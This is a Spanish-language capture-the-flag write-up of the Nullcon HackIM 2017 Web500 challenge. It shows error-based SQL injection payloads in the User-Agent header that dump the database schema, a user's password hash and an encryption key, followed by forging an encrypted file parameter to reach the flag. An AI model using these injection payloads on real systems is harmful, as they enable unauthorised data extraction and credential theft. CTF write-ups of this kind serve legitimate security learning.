Nullcon CTF - Web500 (500 pts)
Solución del reto HackIM’17 - Web500 del Nullcon CTF 2017 por Alguien y @h4ng3r.
Descripción
Análisis
El reto nos presenta un login. Al intentar iniciar sesión con un usuario cualquiera, nos muestra el mensaje de error Your browser is not supported!. Lo cual nos sugiere que debemos jugar con la cabecera User-Agent. Luego de algunas pruebas descubrimos que la web es vulnerable a Inyección SQL en dicha cabecera }:D
Sin embargo, puesto que hay que completar un CAPTCHA, la explotación debe ser manual como lo indican en la descripción xD
Solución
Explotamos la inyección SQL empleando la técnica Error Based, es decir, la información la extraemos en los mensajes de error que genera la base de datos. Por ejemplo, para obtener el nombre de la base de datos hacemos la siguiente inyección:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a, database()))=0 -- x
El nombre de la base de datos es: hackimweb500
Ahora listamos las tablas de dicha base de datos:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x
Obtenemos:
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
accounts,cryptokey,useragents'
Extraemos las columnas de la tabla accounts:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
uid,uname,pwd,age,zipcode'
Operamos de forma similar para las demás tablas. Finalmente tenemos la estructura de la base de datos:
hackimweb500:
- accounts (uid,uname,pwd,age,zipcode)
- cryptokey (id,keyval,keyfor)
- useragents (bid,agent)
Extraemos los registros de la tabla accounts:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
ori:6606a19f6345f8d6e998b69778c'
Sin embargo, el hash de la contraseña se ha truncado. No hay problema, lo resolvemos con la función MID.
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
8b69778cbf7ed'
El hash completo es 6606a19f6345f8d6e998b69778cbf7ed. Tras una búsqueda en Google encontramos que la contraseña es frettchen.
Iniciamos sesión con el usuario ori y la clave frettchen y… nos redirige a una URL algo curiosa y al parecer la segunda parte del reto.
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=
La URL recibe un parámetro file
con un texto en base64 el cual si decodificamos
no obtenemos nada legible. La página nos indica además que el flag se encuentra
en el archivo flagflagflagflag.txt.
Al revisar el código fuente de la página encontramos otra pista en forma de comentario HTML:
<!--
function decrypt($enc){
$key = ??; //stored elsewhere
$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
return $decrypted;
}
-->
Al parecer se trata de la función que decifra el parámetro file
de la URL.
Sin embargo, la variable $key
no está asignada. La clave para decifrar se encuentra
en otro lugar.
Nos acordamos de la tabla cryptokey que había en la base de datos y la dumpeamos:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
TheTormentofTantalus'
La clave es TheTormentofTantalus. Completamos la función decrypt
con la
clave de cifrado y probamos a decifrar el valor del parámetro file
.
Ejecutamos el código PHP:
php decifra.php
flag-hint
A dado resultado. El nombre del archivo es flag-hint. Pero nosotros necesitamos el archivo flagflagflagflag.txt. Escribimos una funcion para cifrar empleando el mismo algoritmo y clave.
Tras un momento de frustración entendimos que solo debíamos cifrar el nombre del archivo mas no su extensión.
php cifrar.php
uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=
Finalmente llamamos a la URL cambiando el parámetro file
con el valor obtenido y…
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=